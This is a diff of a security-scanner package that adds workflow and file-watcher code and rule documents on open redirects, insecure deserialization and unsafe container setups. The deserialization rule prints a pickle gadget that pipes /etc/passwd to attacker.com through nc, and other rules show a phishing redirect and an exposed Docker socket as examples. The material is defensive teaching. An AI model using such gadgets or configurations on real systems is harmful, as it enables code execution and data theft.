torusguard 2.1.0 → 2.1.1

package/skills/torusguard/payload/core/v6_workflow.py

@@ -0,0 +1,221 @@
+"""
+TorusGuard v6 Governed Remediation Workflow Controller
+Coordinates the complete v6 workflow:
+1. Scan & Stable Finding Identity
+2. Root-Cause Clustering
+3. Structured Remediation Bundles
+4. Minimal Patch Governance
+5. Targeted Recheck & Regression Verification
+6. Run Folder Artifact Emission & SARIF Export
+"""
+
+from pathlib import Path
+from typing import List, Dict, Any, Optional, Tuple
+
+from core.identity import IdentityEngine
+from core.clustering import ClusteringEngine, RootCauseCluster
+from core.bundle import BundleManager, RemediationBundle
+from core.governance import PatchGovernor, PatchPolicyDecision
+from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
+from core.run_manager import RunManager
+from core.sarif import SarifExporter
+from core.v6_reporter import V6Reporter
+
+
+class V6Workflow:
+    """
+    Unified controller for TorusGuard v6 governed remediation and recheck operations.
+    """
+
+    def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
+        self.target_root = target_root or Path(".")
+        self.output_base = output_base or Path(".torusguard/runs")
+
+    def execute_audit(
+        self,
+        raw_findings: List[Dict[str, Any]],
+        target_name: str = "workspace",
+        run_id: Optional[str] = None,
+        export_sarif: bool = True,
+    ) -> RunManager:
+        """
+        Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
+        """
+        run_mgr = RunManager(
+            base_dir=self.output_base,
+            target_name=target_name,
+            command="audit",
+            run_id=run_id,
+        )
+
+        # 1. Attach Stable Finding Identifiers
+        enriched_findings = []
+        evidence_list = []
+
+        for f in raw_findings:
+            rule_id = f.get("rule_id", "TG-GENERIC")
+            target = f.get("target", {})
+            file_path = target.get("file_path", "unknown")
+            snippet = f.get("evidence", {}).get("code_snippet", "")
+            sink = f.get("sink_signature")
+            framework = f.get("framework_marker")
+
+            fp = IdentityEngine.generate_identity(
+                rule_id=rule_id,
+                file_path=file_path,
+                code_snippet=snippet,
+                sink_signature=sink,
+                framework_marker=framework,
+                root_path=self.target_root,
+            )
+
+            item = dict(f)
+            item["finding_id"] = fp.fingerprint_id
+            item["fingerprint_id"] = fp.fingerprint_id
+            item["region_hash"] = fp.region_hash
+            enriched_findings.append(item)
+
+            evidence_list.append({
+                "finding_id": fp.fingerprint_id,
+                "rule_id": rule_id,
+                "file_path": file_path,
+                "region_hash": fp.region_hash,
+                "code_snippet": snippet,
+            })
+
+        # 2. Cluster Findings by Root Cause
+        clusters = ClusteringEngine.cluster_findings(enriched_findings)
+        cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
+
+        for ef in enriched_findings:
+            ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
+
+        # 3. Render and Write Standard Artifacts
+        summary_md = V6Reporter.render_summary(
+            target_name=target_name,
+            run_id=run_mgr.run_id,
+            findings=enriched_findings,
+            clusters=clusters,
+        )
+        findings_md = V6Reporter.render_findings(enriched_findings)
+
+        run_mgr.write_summary(summary_md)
+        run_mgr.write_findings(findings_md)
+        run_mgr.write_evidence(evidence_list)
+
+        # 4. Optional SARIF export
+        if export_sarif:
+            sarif_dict = SarifExporter.generate_sarif(
+                findings=enriched_findings,
+                clusters=[c.to_dict() for c in clusters],
+            )
+            run_mgr.write_sarif(sarif_dict)
+
+        # 5. Write Run Manifest
+        status_counts = {
+            "total_findings": len(enriched_findings),
+            "confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
+            "high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
+            "needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
+            "remediated": 0,
+            "verified_fixed": 0,
+            "regressed": 0,
+        }
+        run_mgr.write_manifest(status_counts=status_counts)
+
+        return run_mgr
+
+    def execute_harden(
+        self,
+        run_mgr: RunManager,
+        findings: List[Dict[str, Any]],
+    ) -> List[RemediationBundle]:
+        """
+        Executes Phase 3: Generates structured remediation bundles.
+        """
+        bundles = []
+        for f in findings:
+            b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
+            b.write_to_directory(run_mgr.bundles_dir)
+            bundles.append(b)
+
+        remediation_md = V6Reporter.render_remediation(bundles)
+        run_mgr.write_remediation(remediation_md)
+        return bundles
+
+    def execute_apply(
+        self,
+        run_mgr: RunManager,
+        bundles: List[RemediationBundle],
+        governor: Optional[PatchGovernor] = None,
+    ) -> List[Tuple[str, PatchPolicyDecision]]:
+        """
+        Executes Phase 4: Evaluates minimal patch governance policies and plans application.
+        """
+        gov = governor or PatchGovernor()
+        decisions = []
+        changed_files = set()
+        diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
+
+        for b in bundles:
+            target_f = b.target_files[0] if b.target_files else "app.py"
+            decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
+            decisions.append((b.finding_id, decision))
+
+            if decision.allowed_auto_apply:
+                changed_files.update(decision.file_list)
+                diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
+                diff_summary_lines.append("```diff")
+                diff_summary_lines.append(b.proposed_diff.strip())
+                diff_summary_lines.append("```\n")
+
+        apply_plan_md = V6Reporter.render_apply_plan(decisions)
+        run_mgr.write_apply_plan(apply_plan_md)
+        run_mgr.write_diff_summary("\n".join(diff_summary_lines))
+        run_mgr.write_changed_files(list(changed_files))
+
+        return decisions
+
+    def execute_recheck(
+        self,
+        run_mgr: RunManager,
+        recheck_scenarios: List[Dict[str, Any]],
+    ) -> List[TargetedRecheckResult]:
+        """
+        Executes Phase 5: Targeted differential rechecks of impacted files.
+        """
+        results = []
+        for sc in recheck_scenarios:
+            r = TargetedRechecker.verify_finding(
+                finding_id=sc.get("finding_id", "fnd-01"),
+                rule_id=sc.get("rule_id", "TG-GENERIC"),
+                target_file=sc.get("target_file", "app.py"),
+                original_code_snippet=sc.get("orig_snippet", ""),
+                post_fix_code_snippet=sc.get("post_snippet", ""),
+                is_safe_pattern_present=sc.get("is_safe", True),
+                is_unsafe_pattern_present=sc.get("is_unsafe", False),
+                introduced_new_flaws=sc.get("regressions"),
+                requires_manual_context=sc.get("manual_context", False),
+            )
+            results.append(r)
+
+        recheck_md = V6Reporter.render_recheck(results)
+        run_mgr.write_recheck(recheck_md)
+
+        # Update Manifest counts
+        fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
+        regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
+
+        run_mgr.write_manifest(
+            status_counts={
+                "total_findings": len(results),
+                "confirmed": 0,
+                "high_confidence": 0,
+                "needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
+                "remediated": fixed_count,
+                "verified_fixed": fixed_count,
+                "regressed": regressed_count,
+            }
+        )
+
+        return results

package/skills/torusguard/payload/core/watcher.py

@@ -0,0 +1,58 @@
+"""
+TorusGuard Continuous File Watcher
+Monitors target workspace files for changes, debounces filesystem events,
+and triggers continuous differential security re-scans.
+"""
+
+from pathlib import Path
+from typing import Dict, List, Set, Callable, Optional
+import time
+
+
+class FileWatcher:
+    """Lightweight polling and mtime watcher with debouncing."""
+
+    def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
+        self.target_root = target_root.resolve()
+        self.interval = check_interval_sec
+        self.file_mtimes: Dict[str, float] = {}
+
+    def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
+        exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
+        snapshot: Dict[str, float] = {}
+        try:
+            for p in self.target_root.rglob("*"):
+                if p.is_file() and p.suffix.lower() in exts:
+                    if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
+                        continue
+                    try:
+                        snapshot[str(p)] = p.stat().st_mtime
+                    except Exception:
+                        pass
+        except Exception:
+            pass
+        return snapshot
+
+    def watch(
+        self,
+        on_change_callback: Callable[[List[str]], None],
+        stop_condition: Optional[Callable[[], bool]] = None
+    ) -> None:
+        """Polls for file modifications and triggers `on_change_callback`."""
+        self.file_mtimes = self.get_snapshot()
+
+        while True:
+            if stop_condition and stop_condition():
+                break
+
+            time.sleep(self.interval)
+            current_snapshot = self.get_snapshot()
+
+            changed_files: List[str] = []
+            for path_str, mtime in current_snapshot.items():
+                if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
+                    changed_files.append(path_str)
+
+            if changed_files:
+                self.file_mtimes = current_snapshot
+                on_change_callback(changed_files)

package/skills/torusguard/payload/rules/TG-INPUT-007-unvalidated-redirect.md

@@ -0,0 +1,53 @@
+---
+id: TG-INPUT-007
+title: Unvalidated URL Redirection (Open Redirect)
+category: input-validation
+severity: Medium
+confidence: High
+frameworks:
+  - django
+  - flask
+  - fastapi
+  - express
+  - nextjs
+cwe: CWE-601
+asvs_v4: V5.1.5
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
+
+## 🚨 Problem Statement
+Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker generates a legitimate-looking link:
+```http
+GET /login?next=https://evil-phishing.com/account HTTP/1.1
+Host: secure-bank.com
+```
+If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Django / Flask
+#### ❌ Unsafe Pattern
+```python
+return redirect(request.GET.get("next"))
+```
+
+#### ✅ Safe Remediation
+```python
+from urllib.parse import urlparse, urljoin
+from django.utils.http import url_has_allowed_host_and_scheme
+
+def safe_redirect(request):
+    next_url = request.GET.get("next", "/")
+    if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        return redirect(next_url)
+    return redirect("/")
+```

package/skills/torusguard/payload/rules/TG-INPUT-008-insecure-deserialization.md

@@ -0,0 +1,52 @@
+---
+id: TG-INPUT-008
+title: Insecure Object Deserialization
+category: input-validation
+severity: Critical
+confidence: Confirmed
+frameworks:
+  - django
+  - flask
+  - fastapi
+  - stdlib
+cwe: CWE-502
+asvs_v4: V5.5.1
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-008: Insecure Object Deserialization
+
+## 🚨 Problem Statement
+Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker submits a pickled payload containing a crafted gadget:
+```python
+class Exploit(object):
+    def __reduce__(self):
+        return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
+```
+When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Python
+#### ❌ Unsafe Pattern
+```python
+data = pickle.loads(request.body)
+config = yaml.load(user_upload, Loader=yaml.Loader)
+```
+
+#### ✅ Safe Remediation
+```python
+import json
+import yaml
+
+# Safe: Standard structured serialization formats
+data = json.loads(request.body)
+config = yaml.safe_load(user_upload)
+```

package/skills/torusguard/payload/rules/container/TG-CONT-001-root-user-execution.md

@@ -1,50 +1,50 @@
-# TG-CONT-001: Root User Execution in Container
-
-## Severity
-High. Running container processes as root increases the blast radius of any remote code execution (RCE) flaw, enabling container breakout and host compromise.
-
-## Applies To
-- `Dockerfile`, `Dockerfile.*`, `Containerfile`
-- Docker Compose (`docker-compose.yml`, `compose.yaml`)
-- Kubernetes PodSpecs
-
-## Why It Matters
-By default, Docker executes container entrypoints as the `root` user (UID 0). If an application vulnerability (e.g., path traversal, command injection, or memory corruption) is exploited, the attacker immediately possesses root privileges within the container, facilitating kernel exploits, namespace escapes, and host file access.
-
-## What TorusGuard Looks For
-1. Dockerfiles lacking an explicit non-root `USER <user>` directive.
-2. Explicit `USER root` or `USER 0` declarations without dropping privileges.
-3. Compose services declaring `user: "0"` or `user: "root"`.
-
-## Unsafe Example
-```dockerfile
-# UNSAFE: No USER declared; runs as root
-FROM node:20-alpine
-WORKDIR /app
-COPY package*.json ./
-RUN npm install
-COPY . .
-CMD ["node", "server.js"]
-```
-
-## Safe Example
-```dockerfile
-# SAFE: Dedicated unprivileged non-root user
-FROM node:20-alpine
-WORKDIR /app
-COPY package*.json ./
-RUN npm install
-COPY . .
-RUN addgroup -S appgroup && adduser -S appuser -G appgroup
-USER appuser
-CMD ["node", "server.js"]
-```
-
-## Remediation
-1. Declare a non-privileged user and group (`USER appuser` or `USER 10001:10001`).
-2. Ensure file permissions allow the non-root user to read necessary application files.
-3. In Compose files, set `user: "10001:10001"`.
-
-## Related Rules
-- `TG-CONT-002`: Dangerous Docker Socket Mount
-- `TG-CONT-003`: Privileged Container Mode
+# TG-CONT-001: Root User Execution in Container
+
+## Severity
+High. Running container processes as root increases the blast radius of any remote code execution (RCE) flaw, enabling container breakout and host compromise.
+
+## Applies To
+- `Dockerfile`, `Dockerfile.*`, `Containerfile`
+- Docker Compose (`docker-compose.yml`, `compose.yaml`)
+- Kubernetes PodSpecs
+
+## Why It Matters
+By default, Docker executes container entrypoints as the `root` user (UID 0). If an application vulnerability (e.g., path traversal, command injection, or memory corruption) is exploited, the attacker immediately possesses root privileges within the container, facilitating kernel exploits, namespace escapes, and host file access.
+
+## What TorusGuard Looks For
+1. Dockerfiles lacking an explicit non-root `USER <user>` directive.
+2. Explicit `USER root` or `USER 0` declarations without dropping privileges.
+3. Compose services declaring `user: "0"` or `user: "root"`.
+
+## Unsafe Example
+```dockerfile
+# UNSAFE: No USER declared; runs as root
+FROM node:20-alpine
+WORKDIR /app
+COPY package*.json ./
+RUN npm install
+COPY . .
+CMD ["node", "server.js"]
+```
+
+## Safe Example
+```dockerfile
+# SAFE: Dedicated unprivileged non-root user
+FROM node:20-alpine
+WORKDIR /app
+COPY package*.json ./
+RUN npm install
+COPY . .
+RUN addgroup -S appgroup && adduser -S appuser -G appgroup
+USER appuser
+CMD ["node", "server.js"]
+```
+
+## Remediation
+1. Declare a non-privileged user and group (`USER appuser` or `USER 10001:10001`).
+2. Ensure file permissions allow the non-root user to read necessary application files.
+3. In Compose files, set `user: "10001:10001"`.
+
+## Related Rules
+- `TG-CONT-002`: Dangerous Docker Socket Mount
+- `TG-CONT-003`: Privileged Container Mode

package/skills/torusguard/payload/rules/container/TG-CONT-002-docker-socket-mount.md

@@ -1,47 +1,47 @@
-# TG-CONT-002: Dangerous Docker Socket Mount
-
-## Severity
-Critical. Mounting `/var/run/docker.sock` grants the container full root control over the host Docker daemon, enabling trivial container breakout and host root takeover.
-
-## Applies To
-- `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`, `compose.yaml`
-- Kubernetes PodSpecs, Helm charts, Docker run scripts
-
-## Why It Matters
-The Docker UNIX socket (`/var/run/docker.sock`) is the management API for the Docker daemon. Any process that can communicate with this socket can issue API calls to spawn new containers with host root filesystem mounts (`-v /:/host`), inspect all container secrets, and execute code directly on the host machine.
-
-## What TorusGuard Looks For
-1. Volume bindings referencing `/var/run/docker.sock:/var/run/docker.sock`.
-2. Mounting the Docker socket in read-write or read-only mode without a hardening proxy.
-
-## Unsafe Example
-```yaml
-# UNSAFE: Exposes host Docker daemon to the container
-version: '3.8'
-services:
-  app:
-    image: my-app:latest
-    volumes:
-      - /var/run/docker.sock:/var/run/docker.sock
-```
-
-## Safe Example
-```yaml
-# SAFE: Remove Docker socket mount; use dedicated APIs or rootless sidecars
-version: '3.8'
-services:
-  app:
-    image: my-app:latest
-    volumes:
-      - app-data:/data
-volumes:
-  app-data:
-```
-
-## Remediation
-1. Remove `/var/run/docker.sock` volume bindings from application containers.
-2. If Docker commands are required, use unprivileged rootless container tooling (e.g., Kaniko for image builds) or a restricted Docker socket proxy that denies container-creation privileges.
-
-## Related Rules
-- `TG-CONT-001`: Root User Execution in Container
-- `TG-CONT-003`: Privileged Container Mode
+# TG-CONT-002: Dangerous Docker Socket Mount
+
+## Severity
+Critical. Mounting `/var/run/docker.sock` grants the container full root control over the host Docker daemon, enabling trivial container breakout and host root takeover.
+
+## Applies To
+- `docker-compose.yml`, `docker-compose.yaml`, `compose.yml`, `compose.yaml`
+- Kubernetes PodSpecs, Helm charts, Docker run scripts
+
+## Why It Matters
+The Docker UNIX socket (`/var/run/docker.sock`) is the management API for the Docker daemon. Any process that can communicate with this socket can issue API calls to spawn new containers with host root filesystem mounts (`-v /:/host`), inspect all container secrets, and execute code directly on the host machine.
+
+## What TorusGuard Looks For
+1. Volume bindings referencing `/var/run/docker.sock:/var/run/docker.sock`.
+2. Mounting the Docker socket in read-write or read-only mode without a hardening proxy.
+
+## Unsafe Example
+```yaml
+# UNSAFE: Exposes host Docker daemon to the container
+version: '3.8'
+services:
+  app:
+    image: my-app:latest
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock
+```
+
+## Safe Example
+```yaml
+# SAFE: Remove Docker socket mount; use dedicated APIs or rootless sidecars
+version: '3.8'
+services:
+  app:
+    image: my-app:latest
+    volumes:
+      - app-data:/data
+volumes:
+  app-data:
+```
+
+## Remediation
+1. Remove `/var/run/docker.sock` volume bindings from application containers.
+2. If Docker commands are required, use unprivileged rootless container tooling (e.g., Kaniko for image builds) or a restricted Docker socket proxy that denies container-creation privileges.
+
+## Related Rules
+- `TG-CONT-001`: Root User Execution in Container
+- `TG-CONT-003`: Privileged Container Mode